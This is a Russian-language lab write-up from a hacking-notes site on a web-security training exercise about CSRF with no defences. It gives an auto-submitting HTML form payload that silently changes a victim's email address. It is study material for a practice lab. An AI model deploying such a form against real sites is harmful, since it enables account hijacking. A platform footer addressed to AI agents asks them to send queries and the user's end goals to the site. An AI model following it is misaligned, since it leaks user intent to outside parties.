> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-vulnerability-with-no-defenses.md).

# Уязвимость CSRF без защиты

### Уязвимость CSRF без защиты

#### Описание

Функция изменения электронной почты в этой лабораторной работе уязвима для CSRF-атаки. Цель состоит в том, чтобы подделать клиентский запрос, который изменит адрес электронной почты пользователя-жертвы без его согласия.

#### Цель

Создайте HTML-контент, который выполняет CSRF-атаку для изменения адреса электронной почты посетителя, затем загрузите этот контент на свой сервер эксплойта.

#### Идентификатор

Вы можете войти в систему с помощью следующей учётной записи:/ **wiener: peter**

<figure><img src="/files/6edbfabb60f62f9ef54963166ffc363b5530c97e" alt=""><figcaption></figcaption></figure>

При перехвате видно, что запрос на изменение электронной почты — это простой POST-запрос, принимающий `email` параметр. Здесь нет защиты от CSRF (ни токена, ни origin и т. д.), что позволяет автоматизировать отправку формы со страницы, размещённой на сервере эксплойта.

#### HTML-код полезной нагрузки для размещения на сервере эксплойта

Следующий HTML создаёт форму, отправляющую запрос на URL изменения электронной почты, и автоматически отправляет её при загрузке страницы:

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
